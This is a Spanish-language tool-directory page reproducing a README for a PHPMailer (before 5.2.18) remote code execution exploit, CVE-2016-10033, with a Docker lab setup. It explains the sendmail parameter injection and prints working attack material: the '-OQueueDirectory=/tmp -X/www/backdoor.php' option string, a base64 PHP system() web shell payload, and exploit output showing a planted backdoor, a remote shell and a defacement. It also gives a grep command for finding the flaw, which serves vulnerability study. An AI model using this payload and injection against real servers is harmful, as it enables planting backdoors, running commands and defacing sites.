Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 Ejecución Remota de Código | Kitploit
Herramientas/GitHubGitHub/zeeshanbhattined/exploit-cve-2016-10033
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de PayloadsLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
zeeshanbhattined/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 Ejecución Remota de Código

Ver Repositorio
1hace 4 añosAún no revisado

PHPMailer < 5.2.18 Ejecución Remota de Código

Docker Pulls License

PHPMailer es la clase de transporte más popular del mundo, con aproximadamente 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! y muchos más

PHPMailer anterior a su versión 5.2.18 sufre una vulnerabilidad que podría conducir a la ejecución remota de código (RCE). La función mailSend en el transporte isMail de PHPMailer, cuando la propiedad Sender no está configurada, podría permitir a atacantes remotos pasar parámetros adicionales al comando mail y, en consecuencia, ejecutar código arbitrario mediante un " (barra invertida y comilla doble) en una dirección From manipulada.

Entorno vulnerable

Para configurar un entorno vulnerable para tu prueba necesitarás Docker instalado, y solo ejecuta el siguiente comando:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Y esto iniciará una aplicación web vulnerable en tu host en el puerto 8080

vulnerable

Exploit

Para explotar este objetivo solo ejecuta:

root@kitploit:~
./exploit host:port

Si estás usando esta imagen vulnerable, puedes simplemente ejecutar:

root@kitploit:~
./exploit localhost:8080

Después de la explotación, un archivo llamado backdoor.php se almacenará en la carpeta raíz del directorio web. Y el exploit te dará una shell donde podrás enviar comandos a la backdoor:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Y eso es todo, tienes tu shell. Hay otro exploit, que ilustra otro caso de uso.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Y si visitas la página de nuevo, verás esto:

desfigurado

Código vulnerable

Antes de este commit en class.phpmailer.php en cierto escenario no hay filtro para los caracteres especiales de la dirección de correo del remitente. Esta falla puede conducir a una ejecución remota de código, a través de la función mail aquí.

Analizando el código, no hay filtro en la función mailSend()

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender se agrega directamente a la variable $params, que fue filtrada en la función validateAddress(), pero como usa la especificación RFC 3696, permite ciertos caracteres que romperán las cosas. En este caso, las comillas:

Además de citar usando el carácter de barra invertida, se pueden usar caracteres de comillas dobles convencionales para rodear cadenas. Por ejemplo

"Abc@def"@example.com

"Fred Bloggs"@example.com

son formas alternativas de los dos primeros ejemplos anteriores. Estas formas entre comillas rara vez se recomiendan y son poco comunes en la práctica, pero, como se discutió anteriormente, deben ser soportadas por las aplicaciones que procesan direcciones de correo electrónico. En particular, las formas entre comillas suelen aparecer en el contexto de direcciones asociadas con transiciones de otros sistemas y contextos; esos requisitos transicionales aún surgen y, dado que un sistema que acepta una dirección de correo electrónico proporcionada por el usuario no puede "saber" si esa dirección está asociada con un sistema heredado, las formas de dirección deben ser aceptadas y pasadas al entorno de correo electrónico.

Puedes leer el RFC completo aquí si quieres. Pero además, si la versión de PHP es inferior a 5.2.0 y no hay PCRE instalado, la variable $patternselect en validateAddress() se establecerá en noregex. Esto hará que la entrada pueda evitar cualquier comprobación de regex. Solo pasará por una pequeña verificación:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Luego, el flujo del código va a la función mailPassthru(), que, si se ejecuta en safe_mode, no será vulnerable a esta falla, como lo indica el siguiente código:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Pero, si no se ejecuta en safe_mode, entonces nuestro parámetro especial se pasará a mail() y, si tenemos suerte, nuestro archivo, que contiene lo que queramos, se escribirá donde elijamos.

Notas sobre la explotación de la función mail() de PHP

La explotación de la función mail() de PHP no es algo nuevo, pero sigue viva y la gente todavía la usa. Para explicar cómo funciona, veamos cómo se define la función mail():

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Existen varios métodos de explotación para diferentes resultados; nos centraremos en la explotación del quinto parámetro para obtener Ejecución Remota de Código (RCE). El parámetro $additional_parameters se usa para pasar banderas adicionales como opciones de línea de comandos al programa configurado para enviar el correo electrónico. Esta configuración se define mediante la variable sendmail_path.

Una nota de seguridad de la documentación oficial de PHP:

El parámetro additional_parameters se puede usar para pasar banderas adicionales como opciones de línea de comandos al programa configurado para enviar correo, según lo define el ajuste de configuración sendmail_path. Por ejemplo, se puede usar para establecer la dirección del remitente del sobre cuando se usa sendmail con la opción -f sendmiail.

Este parámetro es escapado internamente por escapeshellcmd() para evitar la ejecución de comandos. escapeshellcmd() evita la ejecución de comandos, pero permite agregar parámetros adicionales. Por razones de seguridad, se recomienda que el usuario sanitice este parámetro para evitar agregar parámetros no deseados al comando de shell.

Considerando los parámetros adicionales que se pueden inyectar, usaremos -X para explotar esta falla. Más información sobre el parámetro -X:

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

También hay otros parámetros interesantes que deberías saber que existen:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

Y

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

Y para la opción -O, QueueDirectory es la opción más interesante; esta opción selecciona el directorio en el que se pondrán en cola los mensajes.

Si quieres leer la lista completa de parámetros y opciones, ejecuta man sendmail o léela en línea aquí

Basándonos en esta información y en la capacidad de controlar al menos uno de los otros parámetros, podemos explotar el host. A continuación, los pasos para una explotación exitosa:

  • Controla $additional_parameters y otro parámetro de mail()
  • Conoce un directorio escribible en el host objetivo que sea accesible a través del sistema y usuario objetivo (www-data, por ejemplo). Normalmente este directorio puede ser cualquier cosa dentro de webroot (también conocido como /var/www/html para otros sistemas, /www para este ejemplo)
  • Cualquier payload PHP que quieras; en este ejemplo usamos un payload simple de system(), con un toque de base64 y algunos caracteres especiales | para que sea más fácil de analizar.
  • ¡Solo ensambla todo junto!

Recuerda que la opción -X escribirá el archivo de registro, que contendrá entre la información del registro tu payload PHP, en el directorio que indiques. Un ejemplo de código PHP vulnerable:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Si ejecutas el código anterior, creará un archivo de registro en /www/backdoor.php; esta es la esencia de este exploit.

Payload

A continuación, el payload utilizado en este ejemplo:

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Quiero cazar bugs, ¿y ahora qué?

¿Quieres una forma fácil, de un solo comando, de intentar detectar esta falla? ¡Recuerda este mágico comando grep!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Ejecutarlo contra este repositorio dará como resultado:

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Créditos

Esta vulnerabilidad fue encontrada por Dawid Golunski.

Aviso legal

Este programa o los anteriores son SOLO para fines educativos. No lo uses sin permiso. Se aplica el aviso legal habitual, especialmente el hecho de que yo (opsxcq) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume responsabilidad alguna por el contenido o el mal uso de estos programas o cualquier derivado de los mismos. Al usar estos programas aceptas el hecho de que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de opsxcq.

Descargar herramienta